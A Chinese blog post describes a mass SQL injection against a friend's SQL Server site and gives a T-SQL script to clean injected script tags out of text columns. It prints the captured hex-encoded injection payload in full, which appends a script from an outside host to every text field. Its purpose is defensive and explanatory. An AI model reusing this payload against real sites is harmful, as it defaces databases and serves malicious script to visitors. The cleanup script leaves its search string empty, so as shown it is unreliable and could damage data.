这几天朋友的网站天天被搞破坏的人恶意注入,也许是程序没写好的原因,数据库每个字段加了一段script(,而这个script地址时不时的有变化)。 用一些搜索引擎搜索下:/css/c.js>,发现好多网站居然都有这个问题。通过iis日志捕捉到注入的原型是以下形式:
;DeCLaRE @S NvArCHaR(4000);SeT @S=CaSt
(0x4400650063006C0061007200650020004000540020005600610072006300680061007200280032003500350029002C004000
4300200056006100720063006800610072002800320035003500290020004400650063006C00610072006500200054006100620
06C0065005F0043007500720073006F007200200043007500720073006F007200200046006F0072002000530065006C00650063
007400200041002E004E0061006D0065002C0042002E004E0061006D0065002000460072006F006D0020005300790073006F006
2006A006500630074007300200041002C0053007900730063006F006C0075006D006E0073002000420020005700680065007200
6500200041002E00490064003D0042002E0049006400200041006E006400200041002E00580074007900700065003D002700750
02700200041006E0064002000280042002E00580074007900700065003D003900390020004F007200200042002E005800740079
00700065003D003300350020004F007200200042002E00580074007900700065003D0032003300310020004F007200200042002
E00580074007900700065003D00310036003700290020004F00700065006E0020005400610062006C0065005F00430075007200
73006F00720020004600650074006300680020004E006500780074002000460072006F006D00200020005400610062006C00650
05F0043007500720073006F007200200049006E0074006F002000400054002C004000430020005700680069006C006500280040
004000460065007400630068005F005300740061007400750073003D0030002900200042006500670069006E002000450078006
50063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200053006500740020005B002700
2B00400043002B0027005D003D0052007400720069006D00280043006F006E00760065007200740028005600610072006300680
0610072002800380030003000300029002C005B0027002B00400043002B0027005D00290029002B00270027003C005300630072
0069007000740020005300720063003D0068007400740070003A002F002F0063002E006E00750063006C0065006100720033002
E0063002500360046002500360044002F006300730073002F0063002E006A0073003E003C002F00530063007200690070007400
3E0027002700270029004600650074006300680020004E006500780074002000460072006F006D00200020005400610062006C0
065005F0043007500720073006F007200200049006E0074006F002000400054002C0040004300200045006E006400200043006C
006F007300650020005400610062006C0065005F0043007500720073006F00720020004400650061006C006C006F00630061007
400650020005400610062006C0065005F0043007500720073006F007200 aS NvArChAR(4000));ExEc(@S);--
上面cast里面sql语句解密如下:
Declare @T Varchar(255),@C Varchar(255)
Declare Table_Cursor Cursor For Select A.Name,B.Name From Sysobjects A,Syscolumns B Where A.Id=B.Id And
A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167)
Open Table_Cursor Fetch Next From Table_Cursor Into @T,@C While(@@Fetch_Status=0)
Begin
Exec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''''')Fetch Next From Table_Cursor Into @T,@C
End
Close Table_Cursor
Deallocate Table_Cursor
总结:
还是程序没写好的原因,会导致注入,希望今后写程序能注意这个问题,不过想想用dotnet那种参数化取值,注入的可能性应该为零了。
因为这个朋友最怕数据丢失,希望恢复数据,于是我就帮他写了一个清理字段的sql脚本(只适合sqlserver)。呵,也希望给那被注入的网站的清理提供方便。代码如下:
declare @name as nvarchar(128),@columnName as nvarchar(128),@columnType as nvarchar(128),@injectSql as nvarchar(111)
set @injectSql=''
DECLARE curLabel CURSOR FOR select name from sysobjects where xtype='U'
OPEN curLabel
FETCH NEXT FROM curLabel INTO @name
WHILE @@FETCH_STATUS = 0
BEGIN
DECLARE curLabel1 CURSOR FOR SELECT Column_name,data_type FROM INFORMATION_SCHEMA.COLUMNS WHERE (TABLE_NAME = @name)
OPEN curLabel1
FETCH NEXT FROM curLabel1 INTO @columnName,@columnType
WHILE @@FETCH_STATUS = 0
BEGIN
if((@columnType='text' or @columnType='ntext'))
--print 1
BEGIN TRY
declare @primaryKey nvarchar(255);
SELECT @primaryKey=primaryKey from
(select
c.name as primaryKey,
case when c.colid in(select ik.colid
from sysindexes i, Sysindexkeys ik, sysobjects oo
where i.id=ik.id and i.indid=ik.indid
and i.name=oo.name and oo.xtype='PK' --主键
and o.id=i.id
) then 1 else 0 end isPrimaryKey
from sysobjects o inner join syscolumns c on o.id=c.id
where o.xtype='U'
and o.name=@name) as t where isPrimaryKey=1
exec('declare @ptr varbinary(16);declare @id nvarchar(16);declare curText scroll Cursor for select textptr('+@columnName+'),'+@primaryKey+' from '+@name+';declare @Position int,@len int;OPEN curText;FETCH NEXT FROM curText INTO @ptr,@id;WHILE @@FETCH_STATUS=0 BEGIN;select @Position=patindex(''%'+@injectSql+'%'','+@columnName+') from '+@name+' where '+@primaryKey+'=@id;while @Position>0 begin;set @Position=@Position-1;updatetext '+@name+'.'+@columnName+' @ptr @Position @len '''';select @Position=patindex(''%'+@injectSql+'%'','+@columnName+') from '+@name+' where '+@primaryKey+'=@id;end;FETCH NEXT FROM curText INTO @ptr,@id;END;CLOSE curText;DEALLOCATE curText')
END TRY
BEGIN CATCH
print(@name+'.'+@columnName)
END CATCH;
else
if(@columnType='nvarchar' or @columnType='varchar')
exec('update '+@name+' set '+@columnName+'=replace('+@columnName+','''+@injectSql+''','''')')
FETCH NEXT FROM curLabel1 INTO @columnName,@columnType
END
CLOSE curLabel1
DEALLOCATE curLabel1
FETCH NEXT FROM curLabel INTO @name
END
CLOSE curLabel
DEALLOCATE curLabel